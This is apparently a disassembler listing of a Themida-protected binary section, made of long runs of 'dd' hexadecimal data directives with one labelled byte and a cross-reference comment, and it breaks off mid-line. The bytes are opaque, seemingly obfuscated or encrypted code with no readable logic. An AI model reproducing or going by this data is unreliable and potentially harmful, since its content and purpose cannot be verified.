370DB02Dh, 0ADB58952h, 5A064528h dd 2A1195FFh, 6A0645h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0E85325C3h, 11h, 3094F54Ch, 9A217458h dd 3F16970Eh, 0F8748110h, 8D9589E6h, 5E064500h, 0FF006A5Bh dd 45312195h, 0EBC08B06h, 781D0D0Bh, 8E266AA7h, 92AA9399h dd 14E8h, 8F253900h, 8B7F0828h, 510994CCh, 186C6D00h, 0E7053599h dd 0FD8D8B76h, 5A064502h, 2F6DBD09h, 0C2810645h, 6B2Ch dd 1A1BD89h, 0F6330645h, 291634FFh, 45156DB5h, 8D8B5F06h dd 6452135h, 0BD0CEF81h, 6E93F6Ch, 1000000h, 75C32409h dd 2EEF8150h, 0F6BEEF3h, 0C781DEB7h, 4F143F3Ch, 0A70FC081h dd 8B571974h, 32048FC1h, 0C0C38166h, 8B66514Bh, 0EE8359DEh dd 0CE904h, 0A1F40000h, 23A1ADE4h, 5607C66h, 0FE81D764h dd 0FFFF95A4h, 24850Fh, 890F0000h, 0Eh, 95958960h, 89064528h dd 4504E585h, 26E96106h, 93000000h, 67D609h, 0F92BE5A3h dd 58575973h, 0FFFF6FE9h, 0B2A489FFh, 0D7486F99h, 484FD4C9h dd 1C84C737h, 446B7323h, 78D8D59h, 6A064B7Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0CCCFC351h, 0E252F918h, 619D2BF5h, 81064509h, 1522DBE7h dd 8F0F5Eh, 89000000h, 452A018Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0EC8334FBh dd 6062BCA0h, 3D585C7h, 5F900645h, 0BE90000h, 1D000000h dd 0A5D089E3h, 0B575F652h, 0B589EDDBh, 6452F81h, 95D85C7h dd 645h, 5F570000h, 1EA9B5FFh, 6A0645h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FF9BBC3h dd 68Ah, 0C19D2B00h, 0FF06451Eh, 452A1195h, 0A9858B06h dd 6A064508h, 2195FF00h, 8B064531h, 8E6EEBC0h, 0B72874B1h dd 0E2D40674h, 0C00ECD17h, 44F47C3Ah, 2BC52750h, 138F9699h dd 8634D032h, 32EE44DAh, 0CFC135BDh, 309D2AADh, 1D7251EBh dd 0C5E0D3B7h, 40045D3Eh, 0E9116BCEh, 4DF49383h, 0DE68444Ch dd 5A0B5CC4h, 8EC80718h, 2A894D8Bh, 0D736DD1h, 3F244548h dd 0B19E241Eh, 7735C364h, 0E0E00893h, 58D2708h, 0DCADA1CFh dd 0A330454Ch, 4C8D8D55h, 8B064B7Bh, 4517A985h, 18D8906h dd 6A06452Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 1D21C350h, 0CAAD6F64h, 1A3066DFh dd 15C5B58Bh, 85C70645h, 64503D5h, 5894h, 61958Bh, 85C70645h dd 645095Dh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CC35646h dd 81DEC8B7h, 659983D6h, 0F5B5FF3Fh, 6A064530h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0E604C356h, 61499D0Dh, 2A1195FFh, 6A0645h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD234BC3h dd 6452509h, 95FF006Ah, 6453121h, 49EBC08Bh, 7BA2A10Ah dd 73D2E8Fh, 53A0A997h, 98357A6Ah, 5FECD01Ah, 4BB3DC9Ah dd 0AFDDA808h, 39EF1924h, 1770A865h, 4C8C3C4Bh, 0D9593F95h dd 8FEB96DDh, 2C6EF41Eh, 0E891062Bh, 326E0254h, 0C63B633Dh dd 0E69FF97Fh, 0BE5EE0A6h, 12E877h, 0BAB30000h, 0F4CC6B5Bh dd 928E9194h, 0D24AE4F8h, 2A1CBD03h, 28B0Fh, 0FB8B0000h dd 0DB9DBF59h, 0C1810A3Bh, 6CB3h, 2E9DBD33h, 54BA0645h dd 81670B4Fh, 0B3468EAh, 95316067h, 6451189h, 0D8D01h dd 0FF610645h, 0ADBD8931h, 5B064528h, 13E8h, 0E9EAB00h dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 0A67F8D51h, 6053D8B8h dd 0F381585Fh, 63217E44h, 81C78B66h, 4BC39EBh, 4D8D8977h dd 8106452Fh, 44581CC3h, 10830F05h, 0E9000000h, 0Bh, 1B4108FAh dd 0F32EED43h, 533BF05Ah, 0DB7BBF66h, 8A0F018Fh, 6, 289D9D01h dd 0E9830645h, 68E0F04h, 29000000h, 4528C58Dh, 1EA8106h dd 0F000000h, 1A85h, 0E5BD8B00h, 0E906451Fh, 31h, 59850C15h dd 0F884B307h, 76F38A16h, 60231D46h, 0EE095B9h, 31E7816Eh dd 61629DE4h, 0FFFF4EE9h, 5D0D26FFh, 4B13ED1h, 0E2184FA4h dd 92EA333h db 7Bh byte_5A5C19 db 0E8h, 9, 0 ; DATA XREF: Themida_:00540EC0o dd 15B40000h, 11291986h, 66994E9Fh, 5ACA04BFh, 20D1BD01h dd 0C2810645h, 6526h, 0CE953h, 0B490000h, 32865CD1h, 7C9D3E05h dd 0BE59FB61h, 3A625995h, 0BF94C681h, 0FFF8C59Dh, 59D8932h dd 58064509h, 284CE381h, 0C08162D5h, 2808C1A4h, 0F86FEF81h dd 0E8815656h, 0F3B0AAFh, 0A345E881h, 81661370h, 89484AF7h dd 3EA8302h, 4ADA8B66h, 9F98D8Bh, 0EE830645h, 0BC850F01h dd 0FFFFFFFh, 38Fh, 0D88B6600h, 7E248D8Dh, 6A064Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 745CFFC3h, 5830Fh, 81660000h, 89B13CDEh, 452A018Dh dd 81665306h, 5B0B9BE2h, 3D585C7h, 62E00645h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 439E66C3h, 5E9C6h, 0CBE70000h, 0C73894BDh, 45095D85h dd 6, 75950100h, 0E9064520h, 0Eh, 0D1BDB1Bh, 0A84D1880h dd 959CFDA8h, 0B5FF31CFh, 6452C85h, 3041BD8Bh, 60600645h dd 8658D89h, 0BF0F0645h, 12E961FFh, 4F000000h, 0AA89FDBh dd 0B9F11206h, 0BBCCC0F0h, 5C94B12Eh, 95FF61FBh, 6452A11h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 74C35242h dd 8523BB4Bh, 6451565h, 95FF006Ah, 6453121h, 3DEBC08Bh dd 67AB1D3Eh, 3F7E6F5Fh, 300156C8h, 6B78D1AFh, 0BB66A88Bh dd 7B23A428h, 0BFAEA0AEh, 40D678F6h, 0D165A8E0h, 78392856h dd 91B49083h, 0EBFC5EAEh, 26A59C2Dh, 8F31CA77h, 0F29C2484h dd 308D8DA9h, 0F8064B7Fh, 2A018D89h, 6A0645h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D0D6C8C3h dd 0EA6AE328h, 8D9D8BFAh, 0E9064523h, 13h, 590E0473h, 1AE799BAh dd 0AFEE225h, 0E6C9091Ch, 810201B8h, 0BF920BDBh, 0D585C724h dd 80064503h, 0C7000070h, 45095D85h, 6, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A06E20D0h, 8B5C206Eh, 4514E995h, 0CDB5FF06h, 6A064528h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 2A7AC356h, 0CBEA5A4h, 2A1195FFh, 95890645h dd 64504C9h, 95FF006Ah, 6453121h, 9EBC08Bh, 0E44856B1h dd 0FBC84ADAh, 498D8D43h, 6A064B80h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FC3CC351h dd 0A32DD0C1h, 0BCDD8F00h, 32D858Bh, 8D890645h, 6452A01h dd 1498531h, 85C70645h, 64503D5h, 6EB8h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 42C35545h, 0CE983908h dd 0F5F9DB3h, 0D8Bh, 8E900h, 0B9B50000h, 0AEF67D7Ch, 85C746B5h dd 645095Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 62C35242h dd 0DF816633h, 0B5FF190Bh, 64510ADh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0CAC35141h, 0E5858B93h, 0FF064510h dd 452A1195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0C015E65Ch, 0C47EF2BBh, 0BF0FDE7Ch dd 0C1BF66FFh, 0FF006AF5h, 45312195h, 0EBC08B06h, 68E7875Ch dd 440D978Bh, 0CECB020Bh, 0F507FBFCh, 0D521495Dh, 0D88ACDDBh dd 21D11621h, 6C32374Dh, 0DEDD11F7h, 879F20A7h, 775A1817h dd 1C0FF0CEh, 0E3B72DDCh, 0AA785AEBh, 73ABE989h, 5D4089F3h dd 973EBF26h, 94AB6C46h, 0A47C0A5Eh, 7C932BC7h, 5D78039Fh dd 4C50E32Eh, 0FDF30719h, 13E8A5h, 54B00000h, 0F9E3CDAAh dd 62B562FBh, 9D04981Fh, 0FD9CE5BAh, 71BD89E8h, 58064517h dd 13E8h, 62F33600h, 0C526D33Dh, 2A2CBF24h, 1AF6086h, 9B533F4Fh dd 0BE9h, 91F5B300h, 178DF97Dh, 1679177Eh, 56C0815Ah, 0F000074h dd 1487h, 0FE900h, 6FED0000h, 6478445Ch, 0C409E118h, 3BFBA081h dd 0FF62BFEh, 683h, 41B58900h, 0FF064530h, 9D090634h, 6452599h dd 0FD950959h, 81064523h, 0F18D4CF1h, 6850F2Dh, 8B000000h dd 4511B99Dh, 61F18106h, 66723EFCh, 0C181D38Bh, 334757EBh dd 2B300C89h, 4522819Dh, 0A8C28006h, 0E901EE83h, 0Fh, 0A9760CD0h dd 7BDEC991h, 0C81E3BDBh, 4E6AFC4Fh, 5E84E4Eh, 4C000000h dd 7578EB89h, 815AA7B7h, 0FF8CBCFEh, 1B850FFFh, 89000000h dd 452C698Dh, 2AE906h, 69250000h, 43A7078Dh, 0DDF04C19h dd 60D167h, 0BD8964A2h, 64516E9h, 0FFFF6AE9h, 9A399AFFh dd 8B392DF6h, 8E48636h, 459FEE9Bh, 82A28D8Dh, 6A064Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 896FDAC3h, 4512E99Dh, 18D8906h, 6A06452Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 609FC356h, 4DF9BD0Eh, 0E950667Fh, 3D585C7h, 6B880645h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 7E4A68C3h, 0D83B0DECh, 222D8589h, 85C70645h dd 645095Dh, 0 dd 68A0Fh, 0B58B0000h, 645017Dh, 631B5FFh, 810F0645h, 3 dd 0FFFE8B66h, 452A1195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 8EBE17CDh dd 669BD561h, 6AD78Bh, 312195FFh, 0C08B0645h, 0DCC66CEBh dd 0EF3D063Fh, 8EB6121Dh, 0BB4F2E9h, 5C10C412h, 0C7F99717h dd 50600126h, 0E3A63B03h, 0F81CCB48h, 707840FEh, 80FB67C7h dd 9226C6h, 0A9712E4h, 0E45B7D6Bh, 0BC6CF18Fh, 8DA7E10Eh dd 0BC633085h, 3671F57h, 0D65B1740h, 3C4ED891h, 4D7A5221h dd 16666D02h, 0D833D1B8h, 0FE31EB50h, 2BB3BC5Fh, 8786EB1Fh dd 53D9F7C4h, 12E8F2CDh, 86000000h, 5F7C001h, 9B973921h dd 0ED9B5DBFh, 6AC49C56h, 68B0FA5h, 8B000000h, 4502F9B5h dd 0B58B5A06h, 6450DA5h, 72D6C281h, 13E80000h, 8F000000h dd 1BC7544Bh, 0AF10CD59h, 3D1BABB1h, 48E8C592h, 5EF950D6h dd 8B66C92Bh, 0A3C8BF2h, 0F781F38Bh, 721E75A8h, 0F781AFB4h dd 1190E0D1h, 13158533h, 0EF810645h, 622CCFC3h, 9E19D8Bh dd 66570645h, 8FA4A5B8h, 0E0810A04h, 0AB97F0Fh, 0BD04BE66h dd 8902E983h, 451C819Dh, 8B494906h, 451E119Dh, 14F98106h dd 0FFFFF8Eh, 1885h, 0FD853100h, 0E906450Ah, 45h, 0DE45BA7Dh dd 5361641Fh, 0FCBFF455h, 0CE87Ah, 4DC00000h, 6C08BFE0h dd 8F7A8425h, 0FE90437h, 88000000h, 0EA88390h, 1B6EBD75h dd 0EF368256h, 0E95BBC1Ch, 0FFFFFF69h, 9086DAF8h, 5889DBD1h dd 542A8AA7h, 0FE8C4h, 8C150000h, 13866F57h, 0D0EC93DBh dd 0B6C6106Eh, 5E9DAh, 0A4D50000h, 5A7E2E3Eh, 14E9h, 265CF100h dd 0D2101A58h, 0DF765AA1h, 288BEB72h, 9BA5EB14h, 8FC28155h dd 8900006Ch, 4510398Dh, 66DB3306h, 8C6AE181h, 811A348Bh dd 8AE298F6h, 6D9D091Ah, 81064524h, 502120F6h, 26EE816Eh dd 0B851D4BFh, 1FFEB89Fh, 891A3489h, 450111BDh, 41B50106h dd 8306452Fh, 870F02EBh, 15h, 10E9h, 0AA9C3C00h, 287764A5h dd 4F220240h, 93F24E56h, 664B4BD5h, 1966DF81h, 943CFB81h dd 850FFFFFh, 10h, 5C1BD8Bh, 1EE90645h, 55000000h, 42CFD013h dd 1115BD89h, 85E90645h, 79FFFFFFh, 0AA9200F0h, 0BA16A8DBh dd 89B37AA0h, 5E800h, 89420000h, 53E10C31h, 1FED8589h dd 5E5B0645h, 0C68161B7h, 7559h, 6820Fh, 85890000h, 6452F39h dd 4336EDBFh, 0C5F78156h, 0B656432Bh, 0F36FF80h, 0E959D3BFh dd 12h, 0C0F29D0Ch, 0ECF7E1BEh, 6D617654h, 3E390603h, 0C181F069h dd 402FDEF2h, 0C6806060h, 0F38B6199h, 0ECF18161h, 0BA499D23h dd 62A025B5h, 0FC81C181h, 51F90D3Eh, 2B898531h, 68F0645h dd 0EE8312B2h, 99BD8904h, 83064510h, 850F01EFh, 1Fh, 18F1B589h dd 28E90645h, 0E7000000h, 1AFCDF20h, 7FDC06ACh, 0B089833Fh dd 18B6269h, 89FADC13h, 45219585h, 0FF7BE906h, 156AFFFFh dd 30044D9Ch, 0EB543A68h, 696BBF04h, 503E960h, 7A670000h dd 0C8049D3h, 0B020E973h, 4DBC8D1Fh, 0E9D722BAh, 7E06B824h dd 0F9632896h, 9B01BE30h, 3EAE5D4Eh, 0DF4DF8EBh, 915E70BAh dd 31180116h, 645A9EA0h, 1801167Bh, 0A38BEC7h, 6C32CDC0h dd 0DB665900h, 0AEF49706h, 0E4D20B8Fh, 796CBD2Fh, 91C2AD03h dd 0F57E11B5h, 685B3268h, 0BC3089DDh, 0B5DE4B03h, 0AF2EBBC5h dd 0C79B2C9Ch, 6D25A936h, 0C0662194h, 6D2C815h, 1CC1A027h dd 0EF461CABh, 1B1A40FDh, 0BB1E27B5h, 3BEC715h, 0A277F590h dd 3F0A9231h, 926B3FCEh, 883F6320h, 0C26F3548h, 48D43700h dd 6FA62C38h, 0C3AC027Eh, 7F11B63Dh, 28F3CAEh, 0DFD22785h dd 82507E24h, 4A11B63Fh, 1EF7AB58h, 0BF481EADh, 0C0BD2025h dd 7D10FFAEh, 820829h, 188657FDh, 813AAE73h, 0E0D65CDDh dd 0D87B5406h, 4251h, 0CDC06300h, 6F626C32h, 1111B593h dd 8A1C3E47h, 0D5D87AA8h, 1, 33CCC0E7h, 9922966Fh, 343B9DD1h dd 8C11B591h, 0C29BF347h, 0E06A30D3h, 3CB06B72h, 9187684Eh dd 0AA3B11B5h, 776ABF2Dh, 0C06250CCh, 90693DD2h, 6C3F631Ch dd 0DC695B02h, 76B1B456h, 0E28BC388h, 0C80D51F2h, 414AFD86h dd 71B633A5h, 9F9EC47Dh, 41B4851Bh, 9909E086h, 0DD4BB2E8h dd 7D0492C8h, 6C5FD87Bh, 6D000000h, 72158455h, 50890D2Ch dd 20F9AD62h, 814B1FB0h, 218F4A53h, 4901C634h, 0B5918857h dd 2EAB3811h, 0C87D6BBEh, 27E6D786h, 247CF203h, 0E3AB5E4Dh dd 7365C63Ah, 8DC549D6h, 41B37AA4h, 537BDE84h, 0BFB6855Bh dd 0AD3FB330h, 0B221C898h, 24AA4B1Fh, 7B576472h, 283FD8h dd 0C08D0000h, 90693DD2h, 0E13A601Fh, 15833E47h, 0C0F6EC70h dd 616F33CCh, 11B59371h, 1C3E4711h, 0D87AA88Ah, 1D5h, 8455E700h dd 317512h, 0A263538Ah, 17B225FCh, 0C9DC1453h, 7E61479Bh dd 0C011B591h, 655EBD82h, 9FE44F6Dh, 31D2C21Bh, 465ECBABh dd 0C65C0A92h, 795C1E94h, 0FA2086C8h, 0BC0FF0D1h, 279A7337h dd 4477D29Ch, 0A1C9FAD9h, 0E029A72Bh, 420C52EDh, 17FA9A8Fh dd 0F93449DBh, 8DE17B06h, 98885749h, 663817FAh, 0FA989F40h dd 55D22317h, 0EA9508C1h, 5FEADDB4h, 95A8B80Bh, 40DC675Ah dd 0BFAF8066h, 16FDBDEh, 53970000h, 0FA8C727Dh, 3185CE17h dd 0D3625B33h, 2296479Bh, 0BE34C599h, 0F0B56A90h, 0DF4ACC0Fh dd 0A9AF82A1h, 4629036Eh, 0FA17FB6Bh, 8443B469h, 178A6307h dd 0B629F06Ch, 0BFE570Bh, 0CF592A70h, 0A5887BB6h, 23339435h dd 0C381D5C5h, 644EDE5Bh, 0DEC06D82h, 45DDh, 6E5BEF00h dd 8E2187D7h, 0D911B591h, 6CE29D10h, 98E4BACBh, 0AD21E0D1h dd 0B591DC83h, 0E7AC1A11h, 49FAEA43h, 0B125215h, 829B1D88h dd 2F81F5DCh, 11B59140h, 0A4F67380h, 0B591AD02h, 5CC01511h dd 0D472h, 625B5C00h, 0A9259BD3h, 170FF09Ah, 98C2AD03h dd 0F57E17FAh, 85772668h, 1F93A2F8h, 0A277B47h, 9991FF3Bh dd 9E416B38h, 2217FABDh, 11845DD1h, 0B023F676h, 296D5115h dd 0FABDE8F7h, 0E0C65817h, 17FABDFFh, 21B53243h, 0FABE451Fh dd 0E4F90B17h, 994678BCh, 2917FABEh, 0CFF56DCh, 550C3971h dd 432C8B4Dh, 9EDE70C6h, 0D8ED26B3h, 0C5FBEB5Eh, 17FAEE1Ah dd 5AD05DA6h, 420CBD18h, 0DF6E5F0Eh, 7A00755Bh, 0FABC163Eh dd 745F00A6h, 92E31E46h, 4674B5BAh, 0C085731Eh, 0AB389B9Ah dd 7422CDE3h, 559E1E46h, 0C83B92C8h, 0E67E693Dh, 0AF1EBFDFh dd 6A75ABEFh, 0D61E4674h, 6345098Dh, 1C8A0012h, 0DD1159AAh dd 2CF0F470h, 82AAD9DAh, 2491B9DDh, 49A1065h, 0D3625BDEh dd 1CD0259Bh, 0AA870FF9h, 0B37F7B59h, 2D55912h, 0E1D4ADF1h dd 8073C626h, 803FA1C5h, 0CDB5E1E6h, 685B96AFh, 0C56D0FF9h dd 2CA09AFEh, 0A12ECF93h, 7E71B824h, 8A539FC3h, 332681Bh dd 0A467568Fh, 14B927FEh, 6207F74Eh, 80060052h, 0A7FB7873h dd 0AE3134C4h, 8D485D97h, 2CFD6F1Ah, 2EDC3B9h, 0BC7E2473h dd 2B260372h, 0D51E850Ch, 3441248h, 8E000000h, 0D3C0716Fh dd 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h, 6D5B3268h dd 0BC2B82D8h, 0CFC5509h, 5A4E277Bh, 6876FDA1h, 3032h dd 55242489h, 4BDh, 246C0100h, 0FE685D04h, 8900002Ah, 89572414h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 240C895Ch, 85A7B951h dd 8151064Bh, 3E8D2434h, 815A2DA2h, 0A23E8DF2h, 0A68592Dh dd 8900001Ch, 4832424h, 83590424h, 148904ECh, 8418F24h dd 53240C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 34FF5C24h dd 0C4835A24h, 0F33BE904h, 6F90FFF9h, 667B1BD9h, 0B74EA44h dd 8A20B852h, 0C503064Bh, 557E0FFh, 0C21C311Bh, 0C9C4715Dh dd 0EFEA260Eh, 43F40AC9h, 0CF5A2C2Dh, 0CCCB62EDh, 3C8670C0h dd 6C6748F7h, 7E7061B1h, 35BC554Eh, 3FD22281h, 0DAB501BFh dd 0EAD220D3h, 0BE85B8Eh, 33000000h, 0D8D23177h, 6322CED9h dd 0BF0F4E36h, 81F559FBh, 5E1DC1h, 17666800h, 57580000h dd 8B5FF78Ah, 0CBDE8119h, 816C8E6Ah, 27472CEBh, 0DFBF6615h dd 23C3818Dh, 0F5DE81Eh, 1187h, 9E85100h, 8000000h, 0CBE583FBh dd 0AB312E3Bh, 0EB815E5Eh, 3C048143h, 4BD5BA66h, 8F0F1989h dd 5, 0DD68166h, 4E983AFh, 12E9h, 0B0659100h, 0C02E28B5h dd 0B5ED281Ah, 5B676743h, 83AA7786h, 850F01E8h, 0FFFFFF97h dd 0DC5F04EBh, 0B4E94DBBh, 44000005h, 0DD2CB057h, 7DCC50E9h dd 9960FC8Dh, 3405672Ah, 399B01C6h, 4005F3A1h, 0EE9B0DDCh dd 8B3AAB7Eh, 2AD5C811h, 7157D7B2h, 18011C6Eh, 558385D2h dd 2F731484h, 5E51880Eh, 0EAB3FFA3h, 0BC248FBh, 0A574E89Dh dd 7B645A32h, 0C711B591h, 946D31BEh, 0FCC06621h, 7435151h dd 504062E2h, 0CD4AEBBFh, 631C9049h, 0BEC7153Fh, 77F59003h dd 0F55A1A37h, 90DD389Eh, 33D2C31Ah, 0D06F60A9h, 8F7A68Ah dd 1D491688h, 6CF911B6h, 40B26BEFh, 68E8DF83h, 9A299A55h dd 61C43702h, 757D46Dh, 52D86356h, 1F7E547Ah, 52EE11B6h dd 34970F4Bh, 1DCCD87Bh, 8F4A10A9h, 7C5EF070h, 43D754ABh dd 8413h, 259BDF00h, 11B66E3Ah, 9B3D7D86h, 11B66ED4h, 5193E76Ch dd 6C32CDC0h, 0B5936F62h, 0B948B911h, 0E99E0CE5h, 3449AFB5h dd 8184D4A1h, 7AA8CDD9h, 196D8h, 0C0240000h, 36F33CCh dd 9106E9CFh, 29BA11B5h, 0CF786CA5h, 1786579Bh, 0B827FE74h dd 91F9E6D8h, 3C4911B5h, 0A312EBBFh, 0E1854AB8h, 368FD350h dd 0FF6539C2h, 5FF16479h, 0D5C90419h, 2DFCB02Ch, 0A6570BBEh dd 5F06F950h, 8FE802E6h, 84186586h, 65D2C05Eh, 6091D574h dd 3EBB4ABBh, 0D986387Ch, 6911B591h, 0F23E961Ch, 2C763257h dd 0FE7489A0h, 400AB327h, 12982999h, 0A481E9BAh, 47F529E3h dd 0BF2DA134h, 907D6BA6h, 79E3601Fh, 20CFE125h, 0A011B5A6h dd 9306DF53h, 0FFE109CCh, 0B76C3EA2h, 0A8906988h, 0C298E562h dd 80CA7B6Bh, 7903EAD9h, 2A1EAF8Fh, 0FA531794h, 8297D06h dd 664F078Bh, 1FB7E3FAh, 78D87B01h, 51h, 3DD2C04Ah, 6F209069h dd 0BAC3113Bh, 60FC917Fh, 0C0662B99h, 93D77A69h, 45B960AAh dd 0D51F6E4h, 79EB6FECh, 0A2A03664h, 55FBD87Ah, 0C9000000h dd 693DD2C0h, 3A601F90h, 83AC99E1h, 0F5FADCFEh, 4D11B605h dd 0A3AB9F38h, 61F8D01h, 0B428DDCBh, 6BCCC08Eh, 1D41CE77h dd 0B5939FB3h, 0FEAFCF11h, 68FA700Bh, 22CB0F55h, 0AB4A10B3h dd 0B591DE81h, 9D116211h, 7AA8CBDBh, 694D8h, 91580000h dd 0D9EB6F22h, 6B3FD0C0h, 3E641F92h, 0FB364F89h, 4E11B70Bh dd 0F211B591h, 2A78E461h, 0FC877A93h, 0A7FB3F7Fh, 91A24D63h dd 0D51E11B5h, 0B591F8E7h, 733B4811h, 0B591925Dh, 51A52E11h dd 0F0A21B0Fh, 35A7760Fh, 20B50288h, 0DCF2367Ah, 17FAC213h dd 79D026AFh, 96B3FB86h, 31A37C21h, 65033394h, 23831D91h dd 0DB510506h, 2CF18323h, 0A6570BBCh, 7B06F950h, 0C87B6A33h dd 6708AE92h, 0DB17FB86h, 0D1890D8Ah, 0FB88D28Fh, 1FA81C17h dd 453A8E4Bh, 0F2721A96h, 6155BC2Dh, 0F67382D8h, 81D97B0h dd 2B32D295h, 0DA42FDF0h, 8A2C9C0Fh, 17FB18E5h, 0D78B085Dh dd 35CEC2EBh, 927568A1h, 6877A91Fh, 0D817FB18h, 0DD810E8Bh dd 0CAEC200Eh, 17FB1825h, 0A7EF489Dh, 0D1FCA9BDh, 0DBE260F6h dd 8A12AD20h, 2F30962Ah, 9317FAC8h, 1C8ACC42h, 4BDEBFDFh dd 0D9C734A2h, 1AF3B734h, 0B44519AAh, 4FF3A337h, 0C1000001h dd 35CAF855h, 96BE5E06h, 0CA7B5200h, 0D6DC2E80h, 95A0FF0h dd 0B309FC55h, 0FAD0521Dh, 76A8EE17h, 17FAD069h, 820F8CD9h dd 21DCCF1Ah, 0BEE3C69h, 0ED5613A2h, 65583169h, 152784DAh dd 7CE54010h, 0D32B52FDh, 6558B105h, 5DB590DAh, 3B8D13C0h dd 0B03DD03Fh, 19C0A43Ah, 0ED441AA7h, 4AC04DFCh, 0BFF19A0Ch dd 64C5DEh, 75890000h, 0FACE8C53h, 2BAF3417h, 0BF115519h dd 11B591B0h, 0D4FC310h, 5B7D3D84h, 11B591E4h, 4185335Ch dd 41EFB33Bh, 2F309EC4h, 0A311B5AAh, 0D9741C21h, 0A608C942h dd 9D7E6A38h, 0A5A4CD76h, 3F8AC84Eh, 95B0F486h, 105C539Eh dd 406EE490h, 11B676EFh, 0DD480253h, 547C216Eh, 0B42AA0C2h dd 819Ah, 625BE400h, 0B3681D8Bh, 4A048144h, 13DCF236h dd 0AF11B591h, 508ED026h, 0EE0FF09Bh, 7568C165h, 0E5D980CAh dd 0F138D65Ch, 47288EFEh, 8517FA99h, 0DDCE7514h, 50DD5AEFh dd 14ED331Eh, 711C83A3h, 293BA5FDh, 6F17FB1Eh, 9A0DC8DDh dd 96377DEFh, 27B11727h, 9D163E94h, 48BB1248h, 66FEE9BDh dd 0E29E3F5Fh, 46AA23CCh, 0C9569F1Eh, 1FB92F81h, 0FA0B1C8Ah dd 0DB5C95B0h, 5E68AE92h, 0D85EDB70h, 625B1846h, 96479BD3h dd 3F3E6427h, 74395BBh, 74810FF9h, 0DF8EC22Eh, 727D5FEEh dd 0CE18011Dh, 2EA6B8A1h, 2FACCF44h, 0C47F72ABh, 631E9158h dd 0BA2AF33Fh, 8EBB8509h, 2BCB90FAh, 0B251426Bh, 5BC94DECh dd 69148742h, 8B326F3h, 790CFB52h, 1B22A225h, 960AEDE0h dd 0B8FC60EDh, 3D4CCF8Dh, 0D25884AEh, 33A5887Bh, 3550996h dd 3, 0C0716F4Dh, 8F663CD3h, 643D611Ch, 378ED473h, 8B6238C5h dd 5B32681Dh, 2B82D86Dh, 0FC5509BCh, 4E277B0Ch, 76FDA15Ah dd 1A5868h, 242C8900h, 512D68h, 241C8900h, 38E568h, 242C8900h dd 7B33BF57h, 0EF815E64h, 5818EFAFh, 3C8BFB89h, 4C48124h dd 54000000h, 81242C8Bh, 4C4h, 34815300h, 1A71CF24h, 8458F4Bh dd 8BB53h, 0EB010000h, 71CF3381h, 8B5B4B1Ah, 8956242Ch dd 4C681E6h, 81000000h, 4C6h, 24348700h, 241C8B5Ch, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 0F9ECACE9h, 0CE4A58FFh, 0E5FA750Dh dd 0B86104DCh, 64B90ADh, 0E0FFC503h, 43B3C001h, 34C9BE22h dd 123F134Ch, 7F0DCE53h, 7E664416h, 494F3883h, 752CF416h dd 61C548F3h, 0A777042h, 570B50Ah, 17B3F28h, 20D7CC7Dh dd 59705ACAh, 5458D88Fh, 7DF18107h, 5C1F37D9h, 6DECE7C3h dd 750D3A98h, 35882928h, 2D224AFBh, 203DA9E3h, 4A2E0D0Fh dd 2063CFC9h, 2E5EC83Ch, 6A11E78Ah, 1834C651h, 647B8F03h dd 60AD680Ah, 3A7E786Fh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah dd 8075210Bh, 83B42A21h, 6F302590h, 863025C4h, 9F6598A7h dd 89302357h, 86305A8Dh, 7F8DA684h, 86366043h, 8642A12Eh dd 3F62590h, 80753D61h, 0BEE84D6Ah, 0B2B18392h, 44DFBD2Dh dd 0D385DA8Ah, 0B36605Bh, 0CE4893A4h, 0DE0DA96h, 0AFB5E3B8h dd 0C836603Ch, 4084C07Ah, 0A204A4ADh, 8AB44621h, 87C990BDh dd 3BD2364h, 80785D26h, 7EBBF5B7h, 8630359Dh, 8638CC12h dd 89962509h, 86302B01h, 4F3B6C42h, 79C0A02Eh, 8BD9DA6Fh dd 0B302548h, 0C37E39B9h dd 86359D14h, 65CF2509h, 17859809h, 0BBD2309h, 807BB752h dd 0B6153728h, 47FF0ECEh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah dd 8075210Bh, 83B42A21h, 6F302590h, 863025C4h, 0E98398A7h dd 0B9A4F305h, 22h, 0C77204EBh, 99E91D2Fh, 64000008h, 0FD4CD077h dd 1DEC7009h, 0B9801CADh, 0D425874Ah, 19BB21E6h, 60259381h dd 0EBB2DFCh, 0AB5A4B9Eh, 